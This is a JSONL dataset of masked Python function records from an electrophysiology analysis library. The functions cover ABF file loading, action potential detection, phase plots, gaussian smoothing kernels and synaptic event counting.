{"signature": "def analyze(fname=False,save=True,show=None):", "body": "if fname and os.path.exists(fname.replace(\"<STR_LIT>\",\"<STR_LIT>\")):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>swhlab.plotting.core.IMAGE_SAVE=save<EOL>if show is None:<EOL><INDENT>if cm.isIpython():<EOL><INDENT>swhlab.plotting.core.IMAGE_SHOW=True<EOL><DEDENT>else:<EOL><INDENT>swhlab.plotting.core.IMAGE_SHOW=False<EOL><DEDENT><DEDENT>abf=ABF(fname) <EOL>print(\"<STR_LIT>\",abf.protocomment)<EOL>runFunction=\"<STR_LIT>\"<EOL>if \"<STR_LIT>\"+abf.protocomment in globals():<EOL><INDENT>runFunction=\"<STR_LIT>\"+abf.protocomment<EOL><DEDENT>abf.log.debug(\"<STR_LIT>\"%(runFunction))<EOL>plt.close('<STR_LIT:all>') <EOL>globals()[runFunction](abf) <EOL>try:<EOL><INDENT>globals()[runFunction](abf) <EOL><DEDENT>except:<EOL><INDENT>abf.log.error(\"<STR_LIT>\")<EOL>abf.log.error(sys.exc_info()[<NUM_LIT:0>])<EOL>return \"<STR_LIT>\"<EOL><DEDENT>plt.close('<STR_LIT:all>') <EOL>return \"<STR_LIT>\"<EOL>", "docstring": "given a filename or ABF object, try to analyze it.", "id": "f11351:m28"}
{"signature": "def __init__(self,abf):", "body": "self.log = logging.getLogger(\"<STR_LIT>\")<EOL>self.log.setLevel(swhlab.loglevel)<EOL>if abf in [None,False,'<STR_LIT>']:<EOL><INDENT>self.log.error(\"<STR_LIT>\",str(abf))<EOL>return<EOL><DEDENT>if type(abf) is str:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>abf=ABF(abf)<EOL><DEDENT>self.abf=abf<EOL>self.detect_over = <NUM_LIT:50> <EOL>self.detect_time1 = <NUM_LIT:0> <EOL>self.detect_time2 = abf.sweepLength <EOL>self.APs=False<EOL>", "docstring": "Load an ABF and get ready to do AP detection.\nAfter detect(), all AP data is stored as a list of dicts in AP.APs", "id": "f11352:c0:m0"}
{"signature": "def ensureDetection(self):", "body": "if self.APs==False:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>self.detect()<EOL><DEDENT>", "docstring": "run this before analysis. Checks if event detection occured.\nIf not, runs AP detection on all sweeps.", "id": "f11352:c0:m2"}
{"signature": "def detect(self):", "body": "self.log.info(\"<STR_LIT>\")<EOL>t1=cm.timeit()<EOL>for sweep in range(self.abf.sweeps):<EOL><INDENT>self.detectSweep(sweep)<EOL><DEDENT>self.log.info(\"<STR_LIT>\",<EOL>self.abf.sweeps,len(self.APs),cm.timeit(t1))<EOL>", "docstring": "runs AP detection on every sweep.", "id": "f11352:c0:m3"}
{"signature": "def detectSweep(self,sweep=<NUM_LIT:0>):", "body": "if self.APs is False: <EOL><INDENT>self.APs=[] <EOL><DEDENT>for i,ap in enumerate(self.APs):<EOL><INDENT>if ap[\"<STR_LIT>\"]==sweep:<EOL><INDENT>self.APs[i]=None<EOL><DEDENT><DEDENT>if self.APs.count(None):<EOL><INDENT>self.log.debug(\"<STR_LIT>\",self.APs.count(None))<EOL>while None in self.APs:<EOL><INDENT>self.APs.remove(None)<EOL><DEDENT><DEDENT>self.log.debug(\"<STR_LIT>\",len(self.APs))<EOL>self.abf.derivative=True<EOL>self.abf.setsweep(sweep)<EOL>Is = cm.where_cross(self.abf.sweepD,self.detect_over)<EOL>self.log.debug(\"<STR_LIT>\"%len(Is))<EOL>for i,I in enumerate(Is):<EOL><INDENT>if np.min(self.abf.sweepD[I:I+<NUM_LIT:2>*self.abf.pointsPerMs])>-<NUM_LIT:10>:<EOL><INDENT>Is[i]=<NUM_LIT:0><EOL><DEDENT><DEDENT>Is=Is[np.nonzero(Is)]<EOL>self.log.debug(\"<STR_LIT>\"%len(Is))<EOL>for i,I in enumerate(Is):<EOL><INDENT>stepBack=<NUM_LIT:0><EOL>while(self.abf.sweepD[I-stepBack])><NUM_LIT:10> and stepBack/self.abf.pointsPerMs<<NUM_LIT:1>: <EOL><INDENT>stepBack+=<NUM_LIT:1><EOL><DEDENT>Is[i]-=stepBack<EOL><DEDENT>sweepAPs=[]<EOL>for i,I in enumerate(Is):<EOL><INDENT>try:<EOL><INDENT>timeInSweep=I/self.abf.pointsPerSec<EOL>if timeInSweep<self.detect_time1 or timeInSweep>self.detect_time2:<EOL><INDENT>continue <EOL><DEDENT>ap={} <EOL>ap[\"<STR_LIT>\"]=sweep <EOL>ap[\"<STR_LIT:I>\"]=I <EOL>ap[\"<STR_LIT>\"]=I/self.abf.pointsPerSec <EOL>ap[\"<STR_LIT:T>\"]=ap[\"<STR_LIT>\"]+self.abf.sweepInterval*sweep <EOL>ap[\"<STR_LIT>\"]=self.abf.sweepY[I] <EOL>chunk=self.abf.sweepD[I:I+<NUM_LIT:5>*self.abf.pointsPerMs] <EOL>I_toNegTen=np.where(chunk<-<NUM_LIT:10>)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>chunk=self.abf.sweepD[I+I_toNegTen:I+I_toNegTen+<NUM_LIT:10>*self.abf.pointsPerMs] <EOL>if not max(chunk)>-<NUM_LIT:10>:<EOL><INDENT>self.log.debug(\"<STR_LIT>\"%ap[\"<STR_LIT:T>\"])<EOL>self.log.error(\"<STR_LIT>\")<EOL>continue <EOL><DEDENT>I_recover=np.where(chunk>-<NUM_LIT:10>)[<NUM_LIT:0>][<NUM_LIT:0>]+I_toNegTen+I <EOL>ap[\"<STR_LIT>\"]=[I,I_recover] <EOL>ap[\"<STR_LIT>\"]=(I_recover-I)/self.abf.pointsPerMs <EOL>chunk=self.abf.sweepD[ap[\"<STR_LIT>\"][<NUM_LIT:0>]:ap[\"<STR_LIT>\"][<NUM_LIT:1>]]<EOL>ap[\"<STR_LIT>\"]=np.max(chunk)<EOL>ap[\"<STR_LIT>\"]=np.where(chunk==ap[\"<STR_LIT>\"])[<NUM_LIT:0>][<NUM_LIT:0>]+I<EOL>ap[\"<STR_LIT>\"]=np.min(chunk)<EOL>ap[\"<STR_LIT>\"]=np.where(chunk==ap[\"<STR_LIT>\"])[<NUM_LIT:0>][<NUM_LIT:0>]+I<EOL>if ap[\"<STR_LIT>\"]<<NUM_LIT:10> or ap[\"<STR_LIT>\"]>-<NUM_LIT:10>:<EOL><INDENT>self.log.debug(\"<STR_LIT>\")<EOL>self.log.error(\"<STR_LIT>\")<EOL>continue<EOL><DEDENT>chunkSize=self.abf.pointsPerMs*<NUM_LIT:10> <EOL>if len(Is)-<NUM_LIT:1>>i and Is[i+<NUM_LIT:1>]<(I+chunkSize): <EOL><INDENT>chunkSize=Is[i+<NUM_LIT:1>]-I <EOL><DEDENT>if chunkSize<(self.abf.pointsPerMs*<NUM_LIT:2>):<EOL><INDENT>continue <EOL><DEDENT>ap[\"<STR_LIT>\"]=[I,I+chunkSize] <EOL>chunk=self.abf.sweepY[I:I+chunkSize]<EOL>ap[\"<STR_LIT>\"]=np.max(chunk)<EOL>ap[\"<STR_LIT>\"]=np.where(chunk==ap[\"<STR_LIT>\"])[<NUM_LIT:0>][<NUM_LIT:0>]+I<EOL>chunkForMin=np.copy(chunk) <EOL>chunkForMin[:ap[\"<STR_LIT>\"]-I]=np.inf <EOL>ap[\"<STR_LIT>\"]=np.min(chunkForMin) <EOL>ap[\"<STR_LIT>\"]=np.where(chunkForMin==ap[\"<STR_LIT>\"])[<NUM_LIT:0>][<NUM_LIT:0>]+I<EOL>if ap[\"<STR_LIT>\"]<ap[\"<STR_LIT>\"]:<EOL><INDENT>self.log.error(\"<STR_LIT>\")<EOL>self.log.error(\"<STR_LIT>\") <EOL>self.log.error(\"<STR_LIT>\")<EOL><DEDENT>if (len(chunk))-((I+len(chunk))-ap[\"<STR_LIT>\"])<<NUM_LIT:10>:<EOL><INDENT>self.log.error(\"<STR_LIT>\")<EOL>self.log.error(\"<STR_LIT>\")<EOL>self.log.error(\"<STR_LIT>\")<EOL><DEDENT>ap[\"<STR_LIT>\"]=(ap[\"<STR_LIT>\"]-I)/self.abf.pointsPerMs <EOL>ap[\"<STR_LIT>\"]=(ap[\"<STR_LIT>\"]-ap[\"<STR_LIT>\"])/self.abf.pointsPerMs <EOL>ap[\"<STR_LIT>\"]=np.average([ap[\"<STR_LIT>\"],ap[\"<STR_LIT>\"]]) <EOL>ap[\"<STR_LIT>\"]=cm.where_cross(chunk,ap[\"<STR_LIT>\"])[<NUM_LIT:0>]+I <EOL>ap[\"<STR_LIT>\"]=cm.where_cross(-chunk,-ap[\"<STR_LIT>\"])[<NUM_LIT:1>]+I <EOL>ap[\"<STR_LIT>\"]=(ap[\"<STR_LIT>\"]-ap[\"<STR_LIT>\"])/self.abf.pointsPerMs <EOL>sweepAPs.extend([ap])<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.log.error(\"<STR_LIT>\",i,len(Is))<EOL>self.log.error(cm.exceptionToString(e))<EOL><DEDENT><DEDENT>self.log.debug(\"<STR_LIT>\",len(sweepAPs))<EOL>self.APs.extend(sweepAPs)<EOL>self.abf.derivative=False<EOL>", "docstring": "perform AP detection on current sweep.", "id": "f11352:c0:m4"}
{"signature": "def get_times(self):", "body": "self.ensureDetection()<EOL>times=[]<EOL>for ap in self.APs:<EOL><INDENT>times.append(ap[\"<STR_LIT:T>\"])<EOL><DEDENT>return np.array(sorted(times))<EOL>", "docstring": "return an array of times (in sec) of all APs.", "id": "f11352:c0:m5"}
{"signature": "def get_bySweep(self,feature=\"<STR_LIT>\"):", "body": "self.ensureDetection()<EOL>bySweepTimes=[[]]*self.abf.sweeps<EOL>for sweep in range(self.abf.sweeps):<EOL><INDENT>sweepTimes=[]<EOL>for ap in self.APs:<EOL><INDENT>if ap[\"<STR_LIT>\"]==sweep:<EOL><INDENT>sweepTimes.append(ap[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>bySweepTimes[sweep]=sweepTimes<EOL><DEDENT>bySweepFreqs=[[]]*self.abf.sweeps<EOL>for i,times in enumerate(bySweepTimes):<EOL><INDENT>if len(times)<<NUM_LIT:2>:<EOL><INDENT>continue<EOL><DEDENT>diffs=np.array(times[<NUM_LIT:1>:])-np.array(times[:-<NUM_LIT:1>])<EOL>bySweepFreqs[i]=np.array(<NUM_LIT:1>/diffs).tolist()<EOL><DEDENT>if feature == \"<STR_LIT>\":<EOL><INDENT>return bySweepFreqs<EOL><DEDENT>elif feature == \"<STR_LIT>\":<EOL><INDENT>result=np.zeros(self.abf.sweeps) <EOL>for i,freqs in enumerate(bySweepFreqs):<EOL><INDENT>if len(freqs):<EOL><INDENT>result[i]=freqs[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return result<EOL><DEDENT>elif feature == \"<STR_LIT>\":<EOL><INDENT>return bySweepTimes<EOL><DEDENT>elif feature == \"<STR_LIT:count>\":<EOL><INDENT>result=np.zeros(self.abf.sweeps) <EOL>for i,times in enumerate(bySweepTimes):<EOL><INDENT>result[i]=len(bySweepTimes[i])<EOL><DEDENT>return result<EOL><DEDENT>elif feature == \"<STR_LIT>\":<EOL><INDENT>result=np.zeros(self.abf.sweeps) <EOL>for i,freqs in enumerate(bySweepFreqs):<EOL><INDENT>if len(freqs):<EOL><INDENT>result[i]=np.nanmean(freqs)<EOL><DEDENT><DEDENT>return result<EOL><DEDENT>elif feature == \"<STR_LIT>\":<EOL><INDENT>result=np.zeros(self.abf.sweeps) <EOL>for i,freqs in enumerate(bySweepFreqs):<EOL><INDENT>if len(freqs):<EOL><INDENT>result[i]=np.nanmedian(freqs)<EOL><DEDENT><DEDENT>return result<EOL><DEDENT>else:<EOL><INDENT>self.log.error(\"<STR_LIT>\",feature)<EOL>return None<EOL><DEDENT>", "docstring": "returns AP info by sweep arranged as a list (by sweep).\n\nfeature:\n    * \"freqs\" - list of instantaneous frequencies by sweep.\n    * \"firsts\" - list of first instantaneous frequency by sweep.\n    * \"times\" - list of times of each AP in the sweep.\n    * \"count\" - numer of APs per sweep.\n    * \"average\" - average instanteous frequency per sweep.\n    * \"median\" - median instanteous frequency per sweep.", "id": "f11352:c0:m6"}
{"signature": "def processFolder(abfFolder):", "body": "if not type(abfFolder) is str or not len(abfFolder)><NUM_LIT:3>:<EOL><INDENT>return<EOL><DEDENT>files=sorted(glob.glob(abfFolder+\"<STR_LIT>\"))<EOL>for i,fname in enumerate(files):<EOL><INDENT>print(\"<STR_LIT>\".format(i,len(files)),os.path.basename(fname))<EOL>processAbf(fname,show=False)<EOL><DEDENT>plt.show()<EOL>return<EOL>", "docstring": "call processAbf() for every ABF in a folder.", "id": "f11353:m0"}
{"signature": "def processAbf(abfFname,saveAs=False,dpi=<NUM_LIT:100>,show=True):", "body": "if not type(abfFname) is str or not len(abfFname)><NUM_LIT:3>:<EOL><INDENT>return<EOL><DEDENT>abf=swhlab.ABF(abfFname)<EOL>plot=swhlab.plotting.ABFplot(abf)<EOL>plot.figure_height=<NUM_LIT:6><EOL>plot.figure_width=<NUM_LIT:10><EOL>plot.subplot=False<EOL>plot.figure(True)<EOL>if abf.get_protocol_sequence(<NUM_LIT:0>)==abf.get_protocol_sequence(<NUM_LIT:1>) or abf.sweeps<<NUM_LIT:2>:<EOL><INDENT>if abf.lengthMinutes<<NUM_LIT:2>:<EOL><INDENT>ax1=plt.subplot(<NUM_LIT>)<EOL>plot.figure_sweeps()<EOL>plt.title(\"<STR_LIT>\".format(abf.ID,abf.sweeps))<EOL>plt.gca().get_xaxis().set_visible(False)<EOL>plt.subplot(<NUM_LIT>,sharex=ax1)<EOL>plot.figure_protocol()<EOL>plt.title(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>plot.figure_chronological()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>plots=[<NUM_LIT>,<NUM_LIT>] <EOL>if abf.units=='<STR_LIT>': <EOL><INDENT>ap=swhlab.AP(abf) <EOL>ap.detect() <EOL>if len(ap.APs): <EOL><INDENT>plots=[<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>] <EOL><DEDENT><DEDENT>ax1=plt.subplot(plots[<NUM_LIT:0>])<EOL>plot.figure_sweeps()<EOL>plt.title(\"<STR_LIT>\".format(abf.ID,abf.sweeps))<EOL>plt.gca().get_xaxis().set_visible(False)<EOL>plt.subplot(plots[<NUM_LIT:1>],sharex=ax1)<EOL>plot.figure_protocols()<EOL>plt.title(\"<STR_LIT>\")<EOL>if len(plots)><NUM_LIT:2>:<EOL><INDENT>ax2=plt.subplot(plots[<NUM_LIT:2>])<EOL>plot.rainbow=False<EOL>plot.kwargs[\"<STR_LIT>\"]='<STR_LIT:b>'<EOL>plot.figure_chronological()<EOL>plt.gca().get_xaxis().set_visible(False)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.subplot(plots[<NUM_LIT:3>],sharex=ax2)<EOL>plot.abf.derivative=True<EOL>plot.rainbow=False<EOL>plot.traceColor='<STR_LIT:r>'<EOL>plot.figure_chronological()<EOL>plt.axis([ap.APs[<NUM_LIT:0>][\"<STR_LIT:T>\"]-<NUM_LIT>,ap.APs[<NUM_LIT:0>][\"<STR_LIT:T>\"]+<NUM_LIT>,None,None])<EOL>plt.title(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if saveAs:<EOL><INDENT>print(\"<STR_LIT>\",os.path.abspath(saveAs))<EOL>plt.savefig(os.path.abspath(saveAs),dpi=dpi)<EOL>return<EOL><DEDENT>if show:<EOL><INDENT>plot.show()<EOL><DEDENT>", "docstring": "automatically generate a single representative image for an ABF.\nIf saveAs is given (full path of a jpg of png file), the image will be saved.\nOtherwise, the image will pop up in a matplotlib window.", "id": "f11353:m1"}
{"signature": "def selectFile():", "body": "plt.close(\"<STR_LIT:all>\") <EOL>print(\"<STR_LIT>\")<EOL>processAbf(swhlab.common.gui_getFile())<EOL>", "docstring": "launch an ABF file selector to determine what to glance at.", "id": "f11353:m2"}
{"signature": "def selectFolder():", "body": "plt.close(\"<STR_LIT:all>\") <EOL>processFolder(swhlab.common.gui_getFolder())<EOL>", "docstring": "launch a folder selection dialog to glance at every ABF in a folder.", "id": "f11353:m3"}
{"signature": "def drawPhasePlot(abf,m1=<NUM_LIT:0>,m2=None):", "body": "if not m2:<EOL><INDENT>m2 = abf.sweepLength<EOL><DEDENT>cm = plt.get_cmap('<STR_LIT>')<EOL>Y = abf.sweepY<EOL>Y = Y[int(abf.pointsPerSec*m1):int(abf.pointsPerSec*m2)]<EOL>dY = (Y[<NUM_LIT:1>:]-Y[:-<NUM_LIT:1>])*abf.rate/<NUM_LIT> <EOL>dY = np.append(dY,dY[-<NUM_LIT:1>])<EOL>Xs = np.arange(len(dY))/abf.pointsPerSec<EOL>Xs = Xs + Xs[-<NUM_LIT:1>]*abf.sweep<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>plt.plot(Xs,Y,lw=<NUM_LIT>,color=cm(abf.sweep/abf.sweeps))<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>plt.plot(Xs,dY,lw=<NUM_LIT>,color=cm(abf.sweep/abf.sweeps))<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>)<EOL>plt.grid(alpha=<NUM_LIT>)<EOL>plt.plot(Y,dY,alpha=<NUM_LIT>,lw=<NUM_LIT>,color=cm(abf.sweep/abf.sweeps))<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.margins(<NUM_LIT>,<NUM_LIT>)<EOL>plt.tight_layout()<EOL>", "docstring": "Given an ABF object (SWHLab), draw its phase plot of the current sweep.\nm1 and m2 are optional marks (in seconds) for plotting only a range of data.\nAssume a matplotlib figure is already open and just draw on top if it.", "id": "f11356:m0"}
{"signature": "def figureStimulus(abf,sweeps=[<NUM_LIT:0>]):", "body": "stimuli=[<NUM_LIT>, <NUM_LIT>]<EOL>for sweep in sweeps:<EOL><INDENT>abf.setsweep(sweep)<EOL>for stimulus in stimuli:<EOL><INDENT>S1=int(abf.pointsPerSec*stimulus)<EOL>S2=int(abf.pointsPerSec*(stimulus+<NUM_LIT>)) <EOL>abf.sweepY[S1:S2]=np.nan <EOL><DEDENT>I1=int(abf.pointsPerSec*<NUM_LIT>) <EOL>I2=int(abf.pointsPerSec*<NUM_LIT>) <EOL>baseline=np.average(abf.sweepY[int(abf.pointsPerSec*<NUM_LIT>):int(abf.pointsPerSec*<NUM_LIT>)])<EOL>Ys=lowPassFilter(abf.sweepY[I1:I2])-baseline<EOL>Xs=abf.sweepX2[I1:I1+len(Ys)].flatten()<EOL>plt.plot(Xs,Ys,alpha=<NUM_LIT>,lw=<NUM_LIT:2>)<EOL><DEDENT>return<EOL>", "docstring": "Create a plot of one area of interest of a single sweep.", "id": "f11358:m2"}
{"signature": "def kernel_gaussian(size=<NUM_LIT:100>, sigma=None, forwardOnly=False):", "body": "if sigma is None:sigma=size/<NUM_LIT:10><EOL>points=np.exp(-np.power(np.arange(size)-size/<NUM_LIT:2>,<NUM_LIT:2>)/(<NUM_LIT:2>*np.power(sigma,<NUM_LIT:2>)))<EOL>if forwardOnly:<EOL><INDENT>points[:int(len(points)/<NUM_LIT:2>)]=<NUM_LIT:0><EOL><DEDENT>return points/sum(points)<EOL>", "docstring": "return a 1d gassuan array of a given size and sigma.\nIf sigma isn't given, it will be 1/10 of the size, which is usually good.", "id": "f11361:m0"}
{"signature": "def analyzeSweep(abf,sweep,m1=None,m2=None,plotToo=False):", "body": "abf.setsweep(sweep)<EOL>if m1 is None: m1=<NUM_LIT:0><EOL>else: m1=m1*abf.pointsPerSec<EOL>if m2 is None: m2=-<NUM_LIT:1><EOL>else: m2=m2*abf.pointsPerSec<EOL>Yorig=abf.sweepY[int(m1):int(m2)]<EOL>X=np.arange(len(Yorig))/abf.pointsPerSec<EOL>Ylpf=linear_gaussian(Yorig,sigmaSize=abf.pointsPerMs*<NUM_LIT>,forwardOnly=False)<EOL>Yflat=Yorig-Ylpf<EOL>EPSCs,IPSCs=[],[]<EOL>if plotToo:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:15>,<NUM_LIT:6>))<EOL>ax1=plt.subplot(<NUM_LIT>)<EOL>plt.title(\"<STR_LIT>\"%(abf.ID,sweep))<EOL>plt.grid()<EOL>plt.plot(X,Yorig,alpha=<NUM_LIT>)<EOL>plt.plot(X,Ylpf,'<STR_LIT:k>',alpha=<NUM_LIT>,lw=<NUM_LIT:2>)<EOL>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>,sharex=ax1)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.grid()<EOL>plt.plot(X,Yflat,alpha=<NUM_LIT>)<EOL>plt.axhline(<NUM_LIT:0>,color='<STR_LIT:k>',lw=<NUM_LIT:2>,alpha=<NUM_LIT>)<EOL>plt.tight_layout()<EOL>plt.show()<EOL><DEDENT>hist, bin_edges = np.histogram(Yflat, density=True, bins=<NUM_LIT:200>)<EOL>peakPa=bin_edges[np.where(hist==max(hist))[<NUM_LIT:0>][<NUM_LIT:0>]+<NUM_LIT:1>]<EOL>if plotToo:<EOL><INDENT>plt.figure()<EOL>plt.grid()<EOL>plt.plot(bin_edges[<NUM_LIT:1>:],hist,alpha=<NUM_LIT>)<EOL>plt.axvline(<NUM_LIT:0>,color='<STR_LIT:k>')<EOL>plt.axvline(peakPa,color='<STR_LIT:r>',ls='<STR_LIT>',lw=<NUM_LIT:2>,alpha=<NUM_LIT>)<EOL>plt.semilogy()<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.show()<EOL><DEDENT>return peakPa<EOL>", "docstring": "m1 and m2, if given, are in seconds.\nreturns [# EPSCs, # IPSCs]", "id": "f11361:m10"}
{"signature": "def kernel_gaussian(size=<NUM_LIT:100>, sigma=None, forwardOnly=False):", "body": "if sigma is None:sigma=size/<NUM_LIT:10><EOL>points=np.exp(-np.power(np.arange(size)-size/<NUM_LIT:2>,<NUM_LIT:2>)/(<NUM_LIT:2>*np.power(sigma,<NUM_LIT:2>)))<EOL>if forwardOnly:<EOL><INDENT>points[:int(len(points)/<NUM_LIT:2>)]=<NUM_LIT:0><EOL><DEDENT>return points/sum(points)<EOL>", "docstring": "return a 1d gassuan array of a given size and sigma.\nIf sigma isn't given, it will be 1/10 of the size, which is usually good.", "id": "f11366:m0"}
{"signature": "def analyzeSweep(abf,sweep,m1=None,m2=None,plotToo=False):", "body": "abf.setsweep(sweep)<EOL>if m1 is None: m1=<NUM_LIT:0><EOL>else: m1=m1*abf.pointsPerSec<EOL>if m2 is None: m2=-<NUM_LIT:1><EOL>else: m2=m2*abf.pointsPerSec<EOL>Yorig=abf.sweepY[int(m1):int(m2)]<EOL>X=np.arange(len(Yorig))/abf.pointsPerSec<EOL><INDENT>Klpf=kernel_gaussian(size=abf.pointsPerMs*<NUM_LIT:10>,forwardOnly=True)<EOL>Ylpf=np.convolve(Yorig,Klpf,mode='<STR_LIT>')<EOL>Y=Ylpf <EOL><DEDENT>Kmb=kernel_gaussian(size=abf.pointsPerMs*<NUM_LIT:10>,forwardOnly=True)<EOL>Ymb=np.convolve(Yorig,Kmb,mode='<STR_LIT>')<EOL>Y=Yorig-Ymb <EOL>thresh=<NUM_LIT:5> <EOL>hitPos=np.where(Y>thresh)[<NUM_LIT:0>] <EOL>hitNeg=np.where(Y<-thresh)[<NUM_LIT:0>] <EOL>hitPos=np.concatenate((hitPos,[len(Y)-<NUM_LIT:1>])) <EOL>hitNeg=np.concatenate((hitNeg,[len(Y)-<NUM_LIT:1>])) <EOL>hitsPos=hitPos[np.where(np.abs(np.diff(hitPos))><NUM_LIT:10>)[<NUM_LIT:0>]] <EOL>hitsNeg=hitNeg[np.where(np.abs(np.diff(hitNeg))><NUM_LIT:10>)[<NUM_LIT:0>]] <EOL>hitsNeg=hitsNeg[<NUM_LIT:1>:] <EOL>if plotToo:<EOL><INDENT>plt.figure(figsize=(<NUM_LIT:10>,<NUM_LIT:5>))<EOL>ax1=plt.subplot(<NUM_LIT>)<EOL>plt.title(\"<STR_LIT>\"%(sweep,len(hitsPos),len(hitsNeg)))<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.grid()<EOL>plt.plot(X,Yorig,color='<STR_LIT:k>',alpha=<NUM_LIT>)<EOL>for hit in hitsPos:<EOL><INDENT>plt.plot(X[hit],Yorig[hit]+<NUM_LIT:20>,'<STR_LIT>',ms=<NUM_LIT:20>,alpha=<NUM_LIT>)<EOL><DEDENT>for hit in hitsNeg:<EOL><INDENT>plt.plot(X[hit],Yorig[hit]-<NUM_LIT:20>,'<STR_LIT>',ms=<NUM_LIT:20>,alpha=<NUM_LIT>)<EOL><DEDENT>plt.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL>plt.subplot(<NUM_LIT>,sharex=ax1)<EOL>plt.title(\"<STR_LIT>\")<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.grid()<EOL>plt.axhline(thresh,color='<STR_LIT:r>',ls='<STR_LIT>',alpha=<NUM_LIT>,lw=<NUM_LIT:3>)<EOL>plt.axhline(-thresh,color='<STR_LIT:r>',ls='<STR_LIT>',alpha=<NUM_LIT>,lw=<NUM_LIT:3>)<EOL>plt.plot(X,Y,color='<STR_LIT:b>',alpha=<NUM_LIT>)<EOL>plt.axis([X[<NUM_LIT:0>],X[-<NUM_LIT:1>],-thresh*<NUM_LIT>,thresh*<NUM_LIT>])<EOL>plt.tight_layout()<EOL>if type(plotToo) is str and os.path.isdir(plotToo):<EOL><INDENT>print('<STR_LIT>'%(plotToo,sweep))<EOL>plt.savefig(plotToo+\"<STR_LIT>\"%sweep)<EOL><DEDENT>else:<EOL><INDENT>plt.show()<EOL><DEDENT>plt.close('<STR_LIT:all>')<EOL><DEDENT>return [len(hitsPos),len(hitsNeg)]<EOL>", "docstring": "m1 and m2, if given, are in seconds.\nreturns [# EPSCs, # IPSCs]", "id": "f11366:m7"}
{"signature": "def phasicTonic(self,m1=None,m2=None,chunkMs=<NUM_LIT:50>,<EOL>quietPercentile=<NUM_LIT:10>,histResolution=<NUM_LIT:1>):", "body": "<EOL>m1=<NUM_LIT:0> if m1 is None else m1*self.pointsPerSec<EOL>m2=len(abf.sweepY) if m2 is None else m2*self.pointsPerSec<EOL>m1,m2=int(m1),int(m2)<EOL>padding=<NUM_LIT:200> <EOL>chunkPoints=int(chunkMs*self.pointsPerMs)<EOL>histBins=int((padding*<NUM_LIT:2>)/histResolution)<EOL>Y=self.sweepY[m1:m2]<EOL>hist,bins=np.histogram(Y,bins=<NUM_LIT:2>*padding)<EOL>Yoffset=bins[np.where(hist==max(hist))[<NUM_LIT:0>][<NUM_LIT:0>]]<EOL>Y=Y-Yoffset <EOL>nChunks=int(len(Y)/chunkPoints)<EOL>hist,bins=np.histogram(Y,bins=histBins,range=(-padding,padding))<EOL>chunks=np.reshape(Y[:nChunks*chunkPoints],(nChunks,chunkPoints))<EOL>variances=np.ptp(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>blData=chunks[np.where(percentiles<=quietPercentile)[<NUM_LIT:0>]].flatten()<EOL>blHist,blBins=np.histogram(blData,bins=histBins,range=(-padding,padding))<EOL>blHist=blHist/max(blHist)*max(hist)<EOL>diff=hist-blHist<EOL>return diff/abf.pointsPerSec<EOL>", "docstring": "chunkMs should be ~50 ms or greater.\nbin sizes must be equal to or multiples of the data resolution.\ntransients smaller than the expected RMS will be silenced.", "id": "f11378:c0:m0"}
{"signature": "def quietParts(data,percentile=<NUM_LIT:10>):", "body": "nChunks=int(len(Y)/CHUNK_POINTS)<EOL>chunks=np.reshape(Y[:nChunks*CHUNK_POINTS],(nChunks,CHUNK_POINTS))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>selected=chunks[np.where(percentiles<=percentile)[<NUM_LIT:0>]].flatten()<EOL>return selected<EOL>", "docstring": "Given some data (Y) break it into chunks and return just the quiet ones.\nReturns data where the variance for its chunk size is below the given percentile.\nCHUNK_POINTS should be adjusted so it's about 10ms of data.", "id": "f11379:m0"}
{"signature": "def quietParts(data,percentile=<NUM_LIT:10>):", "body": "nChunks=int(len(Y)/CHUNK_POINTS)<EOL>chunks=np.reshape(Y[:nChunks*CHUNK_POINTS],(nChunks,CHUNK_POINTS))<EOL>variances=np.var(chunks,axis=<NUM_LIT:1>)<EOL>percentiles=np.empty(len(variances))<EOL>for i,variance in enumerate(variances):<EOL><INDENT>percentiles[i]=sorted(variances).index(variance)/len(variances)*<NUM_LIT:100><EOL><DEDENT>selected=chunks[np.where(percentiles<=percentile)[<NUM_LIT:0>]].flatten()<EOL>return selected<EOL>", "docstring": "Given some data (Y) break it into chunks and return just the quiet ones.\nReturns data where the variance for its chunk size is below the given percentile.\nCHUNK_POINTS should be adjusted so it's about 10ms of data.", 